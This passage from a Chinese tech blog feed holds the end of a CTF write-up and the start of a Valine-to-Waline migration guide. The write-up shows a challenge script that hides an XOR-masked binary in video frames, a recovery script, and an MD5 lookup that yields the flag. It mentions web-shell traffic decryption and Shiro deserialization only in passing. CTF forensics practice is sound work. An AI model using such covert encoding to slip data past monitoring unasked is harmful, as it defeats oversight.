class="comment"># 转为整数</span></span><br><span class="line">            key_int = <span class="built_in">int</span>(xor_key, <span class="number">2</span>)   <span class="comment"># 转为整数</span></span><br><span class="line">            xor_result = chunk_int ^ key_int    <span class="comment"># 进行异或运算</span></span><br><span class="line">            xor_binary_string += <span class="string">f&#x27;<span class="subst">&#123;xor_result:08b&#125;</span>&#x27;</span>    <span class="comment"># 转为二进制字符串并拼接</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            xor_binary_string += chunk</span><br><span class="line">    binary_string = xor_binary_string</span><br><span class="line">    pixels_per_image = width // pixel_size * (height // pixel_size)     <span class="comment"># 每一帧的大小</span></span><br><span class="line">    num_images = math.ceil(<span class="built_in">len</span>(binary_string) / pixels_per_image)   <span class="comment"># 计算需要多少帧来存储所有数据</span></span><br><span class="line">    frames = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> tqdm(<span class="built_in">range</span>(num_images), desc=<span class="string">&#x27;生成视频帧&#x27;</span>):</span><br><span class="line">        start = i * pixels_per_image</span><br><span class="line">        bits = binary_string[start:start + pixels_per_image]</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(bits) &lt; pixels_per_image:</span><br><span class="line">            bits = bits + <span class="string">&#x27;0&#x27;</span> * (pixels_per_image - <span class="built_in">len</span>(bits))</span><br><span class="line">        img = Image.new(<span class="string">&#x27;RGB&#x27;</span>, (width, height), color=<span class="string">&#x27;white&#x27;</span>)</span><br><span class="line">        <span class="keyword">for</span> r <span class="keyword">in</span> <span class="built_in">range</span>(height // pixel_size):</span><br><span class="line">            row_start = r * (width // pixel_size)</span><br><span class="line">            row_end = (r + <span class="number">1</span>) * (width // pixel_size)</span><br><span class="line">            row = bits[row_start:row_end]</span><br><span class="line">            <span class="keyword">for</span> c, bit <span class="keyword">in</span> <span class="built_in">enumerate</span>(row):</span><br><span class="line">                color = (<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>) <span class="keyword">if</span> bit == <span class="string">&#x27;1&#x27;</span> <span class="keyword">else</span> (<span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span>)</span><br><span class="line">                x1, y1 = (c * pixel_size, r * pixel_size)</span><br><span class="line">                img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))</span><br><span class="line">        frames.append(np.array(img))</span><br><span class="line">    <span class="keyword">with</span> imageio.get_writer(output_file, fps=fps, codec=<span class="string">&#x27;libx264&#x27;</span>) <span class="keyword">as</span> writer:</span><br><span class="line">        <span class="keyword">for</span> frame <span class="keyword">in</span> tqdm(frames, desc=<span class="string">&#x27;写入视频帧&#x27;</span>):</span><br><span class="line">            writer.append_data(frame)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    input_path = <span class="string">&#x27;payload&#x27;</span></span><br><span class="line">    <span class="keyword">if</span> os.path.exists(input_path):</span><br><span class="line">        file_to_video(input_path)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>对着这个编码逻辑写一个恢复脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> imageio</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recover_file</span>(<span class="params"></span></span><br><span class="line"><span class="params">    video_path: <span class="built_in">str</span>,</span></span><br><span class="line"><span class="params">    output_path: <span class="built_in">str</span>,</span></span><br><span class="line"><span class="params">    width: <span class="built_in">int</span> = <span class="number">640</span>,</span></span><br><span class="line"><span class="params">    height: <span class="built_in">int</span> = <span class="number">480</span>,</span></span><br><span class="line"><span class="params">    pixel_size: <span class="built_in">int</span> = <span class="number">8</span>,</span></span><br><span class="line"><span class="params"></span>):</span><br><span class="line">    cols = width // pixel_size</span><br><span class="line">    rows = height // pixel_size</span><br><span class="line">    bits_per_frame = cols * rows</span><br><span class="line"></span><br><span class="line">    video_processor = imageio.get_reader(video_path)</span><br><span class="line"></span><br><span class="line">    metadata = video_processor.get_meta_data()</span><br><span class="line">    frames_per_second = metadata.get(<span class="string">&quot;fps&quot;</span>, <span class="number">0</span>)</span><br><span class="line">    total_frames = (</span><br><span class="line">        <span class="built_in">int</span>(metadata.get(<span class="string">&quot;duration&quot;</span>, <span class="number">0</span>) * frames_per_second)</span><br><span class="line">        <span class="keyword">if</span> frames_per_second &gt; <span class="number">0</span></span><br><span class="line">        <span class="keyword">else</span> <span class="literal">None</span></span><br><span class="line">    )</span><br><span class="line">    <span class="built_in">print</span>(</span><br><span class="line">        <span class="string">f&quot;Video information：<span class="subst">&#123;width&#125;</span>x<span class="subst">&#123;height&#125;</span>, <span class="subst">&#123;pixel_size&#125;</span>px/block, with <span class="subst">&#123;bits_per_frame&#125;</span> bit. Estimated <span class="subst">&#123;total_frames&#125;</span> frames.&quot;</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    bits_collected = []</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> frame <span class="keyword">in</span> video_processor:  <span class="comment"># type: ignore</span></span><br><span class="line">        <span class="keyword">if</span> frame.shape[<span class="number">0</span>] != height <span class="keyword">or</span> frame.shape[<span class="number">1</span>] != width:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> r <span class="keyword">in</span> <span class="built_in">range</span>(rows):</span><br><span class="line">            <span class="keyword">for</span> c <span class="keyword">in</span> <span class="built_in">range</span>(cols):</span><br><span class="line">                y1 = r * pixel_size  <span class="comment"># Block&#x27;s top-left corner</span></span><br><span class="line">                y2 = (r + <span class="number">1</span>) * pixel_size  <span class="comment"># Block&#x27;s bottom-right corner</span></span><br><span class="line">                x1 = c * pixel_size  <span class="comment"># Block&#x27;s top-left corner</span></span><br><span class="line">                x2 = (c + <span class="number">1</span>) * pixel_size  <span class="comment"># Block&#x27;s bottom-right corner</span></span><br><span class="line">                block = frame[y1:y2, x1:x2]  <span class="comment"># Extract the block</span></span><br><span class="line">                avg_color = np.mean(block)</span><br><span class="line">                bit = <span class="string">&quot;1&quot;</span> <span class="keyword">if</span> avg_color &lt; <span class="number">128</span> <span class="keyword">else</span> <span class="string">&quot;0&quot;</span></span><br><span class="line">                bits_collected.append(bit)</span><br><span class="line"></span><br><span class="line">    full_bits = <span class="string">&quot;&quot;</span>.join(bits_collected)</span><br><span class="line"></span><br><span class="line">    xor_key = <span class="number">0xAA</span>  <span class="comment"># 0b10101010</span></span><br><span class="line">    data = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(full_bits), <span class="number">8</span>):</span><br><span class="line">        byte_str = full_bits[i : i + <span class="number">8</span>]</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(byte_str) &lt; <span class="number">8</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        byte_val = <span class="built_in">int</span>(byte_str, <span class="number">2</span>)</span><br><span class="line">        decrypted = byte_val ^ xor_key</span><br><span class="line">        data.append(decrypted)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(output_path, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    video = <span class="string">&quot;video.mp4&quot;</span></span><br><span class="line">    output = <span class="string">&quot;output.bin&quot;</span></span><br><span class="line">    <span class="keyword">if</span> recover_file(video, output):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;[+] Successfully recovered the file.&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;[-] Failed to recover the file.&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>恢复得到 output.bin，用 file 查看发现是 ELF</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ file output.bin                                                                                                   ─╯</span><br><span class="line">output.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3cb79dc409672494afd10da6d1f285238fbdaa34, <span class="keyword">for</span> GNU/Linux 3.2.0, not stripped</span><br></pre></td></tr></table></figure><p>仍旧 IDA 打开，看到有个好像是 md5 的东西</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314113231575.png"></p><p>先把它们全部复制出来</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314113312147.png"></p><p>运行一下这个程序，提示是单字符 md5</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314113342349.png"></p><p>直接写脚本恢复就好了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">from</span> string <span class="keyword">import</span> printable</span><br><span class="line"></span><br><span class="line">HASH_MAP = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_hash_map</span>():</span><br><span class="line">    <span class="keyword">global</span> HASH_MAP</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> HASH_MAP:</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> printable:</span><br><span class="line">            HASH_MAP[hashlib.md5(i.encode()).hexdigest()] = i</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_flag</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;hash.txt&quot;</span>, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">            hash_value = line.split(<span class="string">&quot;;&quot;</span>)[<span class="number">1</span>].strip().replace(<span class="string">&#x27;&quot;&#x27;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> hash_value <span class="keyword">in</span> HASH_MAP:</span><br><span class="line">                <span class="built_in">print</span>(HASH_MAP[hash_value], end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;Hash <span class="subst">&#123;hash_value&#125;</span> not found in HASH_MAP&quot;</span>, end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">                </span><br><span class="line">            </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    get_hash_map()</span><br><span class="line">    get_flag()</span><br></pre></td></tr></table></figure><p>运行后得到 flag</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314113504680.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ uv run .\getflag.py</span><br><span class="line">dart&#123;2ab1fb8a-b830-45e7-8830-66c7e3b3e05a&#125;</span><br></pre></td></tr></table></figure><h1 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h1><p>这次虽然说赛事组比较傻逼，后面去验证了一下，发现上面说的不给用 AI 和网络搜索的通知是发在教师群的，学生群连个参赛手册都没有，很多人根本就不知道有这一条规定（所以还是赛事组的锅</p><p>但是这一次比赛了解到了冰蝎流量解密、Shiro 反序列化漏洞利用，还学到了新的 AES.GCM 加密方式的解密手段，还是有点收获的，虽然我们的排名很难进复赛了，那也就这样了吧，反正都看开了 &#x3D;-&#x3D;</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="CCSSSC" scheme="https://bili33.top/tags/CCSSSC/"/>
    
  </entry>
  
  <entry>
    <title>从 Valine 迁移到 Waline 全记录</title>
    <link href="https://bili33.top/posts/Migrate-from-Valine-to-Waline/"/>
    <id>https://bili33.top/posts/Migrate-from-Valine-to-Waline/</id>
    <published>2026-02-15T19:00:46.000Z</published>
    <updated>2026-03-31T05:59:59.347Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>起因是看到了 Leancloud 要跑路了</p><blockquote><p>src: <a href="https://docs.leancloud.app/sdk/announcements/sunset-announcement/">关于 LeanCloud 停止对外提供服务的通知 | LeanCloud 开发者文档</a></p></blockquote><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/msedge_O0nT9PZOIV.png"></p><p>因为我的评论系统 Valine 的数据是用了 Leancloud 作为存储数据库的，Leancloud 这一跑路，我的评论就没法玩了，所以我要找替代方案</p><p>虽然我对 Waline 具有一定的偏见（指之前有人刷评论推荐 Waline，然后当时很多用 Valine 的网站都中招了，至今还不知道是谁干的），但是不可否认的是它对 Valine 的数据兼容很优秀，所以想了一下我还是决定迁移到 Waline</p><h2 id="导出数据"><a href="#导出数据" class="headerlink" title="导出数据"></a>导出数据</h2><p>这个其实很简单，因为 Leancloud 直接给了导出数据的方式，直接在 Leancloud 自己的后台导出就行</p><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/msedge_jevxjpW5DX.png"></p><p>导出后查看一下数据的格式，看到是 jsonl 文件</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#filetype<span class="punctuation">:</span>JSON-streaming <span class="punctuation">&#123;</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;Class&quot;</span><span class="punctuation">,</span><span class="attr">&quot;class&quot;</span><span class="punctuation">:</span><span class="string">&quot;Comment&quot;</span><span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;nick&quot;</span><span class="punctuation">:</span><span class="string">&quot;[HIDDEN]&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ip&quot;</span><span class="punctuation">:</span><span class="string">&quot;[HIDDEN]&quot;</span><span class="punctuation">,</span><span class="attr">&quot;updatedAt&quot;</span><span class="punctuation">:</span><span class="string">&quot;2023-07-24T02:15:28.613Z&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ACL&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;*&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;read&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span><span class="punctuation">&#125;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;objectId&quot;</span><span class="punctuation">:</span><span class="string">&quot;5d5d4ea833eec30008e8d62d&quot;</span><span class="punctuation">,</span><span class="attr">&quot;mail&quot;</span><span class="punctuation">:</span><span class="string">&quot;[HIDDEN]&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ua&quot;</span><span class="punctuation">:</span><span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36&quot;</span><span class="punctuation">,</span><span class="attr">&quot;insertedAt&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;__type&quot;</span><span class="punctuation">:</span><span class="string">&quot;Date&quot;</span><span class="punctuation">,</span><span class="attr">&quot;iso&quot;</span><span class="punctuation">:</span><span class="string">&quot;2019-08-21T14:01:12.424Z&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;createdAt&quot;</span><span class="punctuation">:</span><span class="string">&quot;2019-08-21T14:01:12.799Z&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="string">&quot;[HIDDEN]&quot;</span><span class="punctuation">,</span><span class="attr">&quot;comment&quot;</span><span class="punctuation">:</span><span class="string">&quot;[HIDDEN]&quot;</span><span class="punctuation">,</span><span class="attr">&quot;url&quot;</span><span class="punctuation">:</span><span class="string">&quot;/link/&quot;</span><span class="punctuation">,</span><span class="attr">&quot;isNotified&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>第一行是文件格式以及一些信息，从第二行开始，每一行都是一条评论，了解完文件格式后，这对我们接下来进行数据迁移就有了抓手</p><h2 id="部署-Waline"><a href="#部署-Waline" class="headerlink" title="部署 Waline"></a>部署 Waline</h2><p>其实主要是部署后端，因为本身 Butterfly 是带有 Waline 集成的，所以我只用部署好后端就可以了</p><p>看了一下 Waline 的文档，我决定使用 TiDB 作为数据库（它给的实在是太多了，免费的数据库还给 5GB）</p><h3 id="准备数据库"><a href="#准备数据库" class="headerlink" title="准备数据库"></a>准备数据库</h3><p>很简单，去 TiDB 注册个号，创建一下数据库，然后在右上方的 <kbd>connect</kbd> 按钮按下后就可以看到连接信息，当然了，密码要生成一下</p><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/msedge_FJEXnVUF2x.png"></p><p>保留一下这些连接信息，然后去到 SQL Editor 跑一下数据库初始化脚本</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> DATABASE `waline`;</span><br><span class="line"></span><br><span class="line">USE waline;</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> `wl_Comment` (</span><br><span class="line">  `id` <span class="type">int</span>(<span class="number">11</span>) unsigned <span class="keyword">NOT</span> <span class="keyword">NULL</span> AUTO_INCREMENT,</span><br><span class="line">  `user_id` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `comment` text,</span><br><span class="line">  `insertedAt` <span class="type">timestamp</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">  `ip` <span class="type">varchar</span>(<span class="number">100</span>) <span class="keyword">DEFAULT</span> <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">  `link` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `mail` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `nick` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `pid` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `rid` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `sticky` <span class="type">boolean</span> <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `status` <span class="type">varchar</span>(<span class="number">50</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">  `<span class="keyword">like</span>` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `ua` text,</span><br><span class="line">  `url` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `createdAt` <span class="type">timestamp</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">  `updatedAt` <span class="type">timestamp</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">  <span class="keyword">PRIMARY</span> KEY (`id`)</span><br><span class="line">) CHARSET<span class="operator">=</span>utf8mb4;</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> `wl_Counter` (</span><br><span class="line">  `id` <span class="type">int</span>(<span class="number">11</span>) unsigned <span class="keyword">NOT</span> <span class="keyword">NULL</span> AUTO_INCREMENT,</span><br><span class="line">  `<span class="type">time</span>` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction0` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction1` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction2` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction3` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction4` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction5` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction6` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction7` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `reaction8` <span class="type">int</span>(<span class="number">11</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `url` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">  `createdAt` <span class="type">timestamp</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">  `updatedAt` <span class="type">timestamp</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">  <span class="keyword">PRIMARY</span> KEY (`id`)</span><br><span class="line">) CHARSET<span class="operator">=</span>utf8mb4;</span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> `wl_Users` (</span><br><span class="line">  `id` <span class="type">int</span>(<span class="number">11</span>) unsigned <span class="keyword">NOT</span> <span class="keyword">NULL</span> AUTO_INCREMENT,</span><br><span class="line">  `display_name` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">  `email` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">  `password` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">  `type` <span class="type">varchar</span>(<span class="number">50</span>) <span class="keyword">NOT</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">  `label` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `url` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `avatar` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `github` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `twitter` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `facebook` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `google` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `weibo` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `qq` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `oidc` <span class="type">varchar</span>(<span class="number">255</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `<span class="number">2</span>fa` <span class="type">varchar</span>(<span class="number">32</span>) <span class="keyword">DEFAULT</span> <span class="keyword">NULL</span>,</span><br><span class="line">  `createdAt` <span class="type">timestamp</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">  `updatedAt` <span class="type">timestamp</span> <span class="keyword">NULL</span> <span class="keyword">DEFAULT</span> <span 